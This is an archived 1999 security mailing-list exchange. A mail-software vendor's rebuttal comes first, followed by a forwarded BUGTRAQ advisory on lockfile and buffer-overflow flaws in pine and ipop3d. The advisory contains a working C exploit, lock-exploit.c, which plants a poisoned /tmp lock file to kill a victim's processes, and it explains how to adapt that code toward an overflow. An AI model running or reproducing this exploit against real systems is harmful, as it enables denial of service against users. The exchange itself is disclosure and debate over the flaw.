We thought these claims required a response from us since they contain
misleading information and only about 20% fact. And by the way, we were
not contacted before this post was made to BUGTRAQ, as protocol states.
The impact is only with the standard UNIX format.
The buffer overflow claim, and in particular the alleged root compromise, is
bogus. The process is not root when mailboxes are open; nor can it get root
back. He is confused by the SVR4 semantics of UID; the caveat about the
real UID does not apply to root processes doing setuid().
The maximum exposure is that one byte of stack frame may be set to zero,
because of a "buf[x] = 0" for a stack buffer of length x. This may cause a
SEGV; more likely it will just clobber a variable that isn't used after that
point in the function anyway. It is not possible to write something else, nor
is it possible to write at any other location.
In other words, this "buffer overflow" bug is just an ordinary bug. It
doesn't happen unless the software is abused, and even may be totally harmless
depending upon the code that your C compiler generates. It is *NOT* a
security bug in the normal sense.
Now, we'll talk about the 20% that is fact. Yes, it is possible to write
a negative process ID in the lock file. This requires that the attacker
have shell access; it can't be mounted remotely. It also requires that
the attacker have a program running at the time that the victim opens his
mail file.
Not only is the program running, but it has the lock file open and locked. In
other words, it's incredibly easy to catch; particularly if you have lsof.
Nor can there be any question of intent when it comes to prosecution. Only an
extremely stupid individual would try it.
---------- Forwarded message ----------
Date: Sun, 7 Mar 1999 01:41:25 +0100
Subject: ipop3d (x2) / pine (x2) / Linux kernel (x2) / Midnight Commander
(x2)
From: Michal Zalewski <lcamtufat_private>
To: BUGTRAQat_private
** Summary of reported vunerabilities **
1. Overflow in CAC.Washington.EDU ipop3d 4.xx
2. Overflow in pine 4.xx (Linux)
3. Lockfile vunerability in pine 4.xx (Linux)
4. Lockfile vunerability in ipop3d 4.xx
5. Linux 2.x IPC vunerability
6. Linux 2.x mmap vunerability
7. Midnight Commander 4.x bugs (x2)
** DETAILS **
1. Overflow in CAC.Washington.EDU ipop3d 4.xx
2. Overflow in pine 4.xx (Linux)
Both programs, at least on Linux platform, have serious security hole.
When data is read from so-called mailbox lock created in /tmp directory
(this happens under certain conditions - please refer exploit code below),
it's stored in _too_small_ buffer. It is possible to overwrite some data,
and registers as well. For testing purposes, simple exploit code presented
below (vunerabilities 3 and 4) could be used - suggested changes:
write(i,"-1",2) -> write(i,"(about 1100 b)",1100)
truncate(i,2) -> truncate(i,1100);
Overflow in pine might be used to gain other lusers' privledges (or,
sometimes, root privledges, depending on his stupidity ;-).
Exploited overflow in ipop3d could be used to gain superuser access (the
only thing done by ipop3d is setuid+setgid, no seteuid/setreuid).
CAC.Washington.EDU ipop3d is shipped by default with Red Hat Linux,
included in IMAP package.
Solution: in both cases, you have to look for something like
kill(i,SIGUSR2) in sources and modify lines just before it ;>
-
3. Lockfile vunerability in pine 4.xx (Linux)
4. Lockfile vunerability in ipop3d 4.xx
The problem is probably well known, but silently ignored by pine vendors.
Unfortunately, it's possible to turn 'mostly harmless feature' in
something nasty - following code allows various DoSes by killing all
processes of luser (could be root?) every time he/she runs pine or
receives mail via POP3 protocol:
-- lock-exploit.c --
// Pine 4.xx, ipop3d 4.xx and other /tmp-lock based mail stuff.
#include <sys/file.h>
#include <sys/stat.h>
#include <unistd.h>
main(int argc,char* argv[]) {
int i,a=0;
char s[100];
struct stat x;
if (!argv[1]) exit(printf("Usage: %s account_name\n",argv[0]));
sprintf(s,"/var/spool/mail/%s",argv[1]);
if (stat(s,&x)) exit(printf("Mailbox (%s) not found.\n",s));
sprintf(s,"/tmp/.%x.%x",(int)x.st_dev,(int)x.st_ino);
fchmod(i=open(s,O_RDWR|O_CREAT,0600),0666);
while (1) {
lseek(i,0,0);
write(i,"-1",2);
ftruncate(i,2);
fsync(i);
if (!a++) if (!flock(i,LOCK_EX)) printf("Got lock on %s.\n",s);
else printf("File %s already locked, wait...\n",s);
sleep(1);
}
}
-- eof --
Works well under Linux. Under BSD, pine seems to have broken mailbox
access negotiation (fortunately ;-). No information about ipop3d.
Mainly, this vunerability demonstrates that world-writable mailbox locks
in /tmp are SICK IDEA (one day, as I recall, one of pine vendors said it's
'harmless', while other solutions allows several DoS attacks... huh).
-
[...rest of message snipped...]
This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 14:41:50 PDT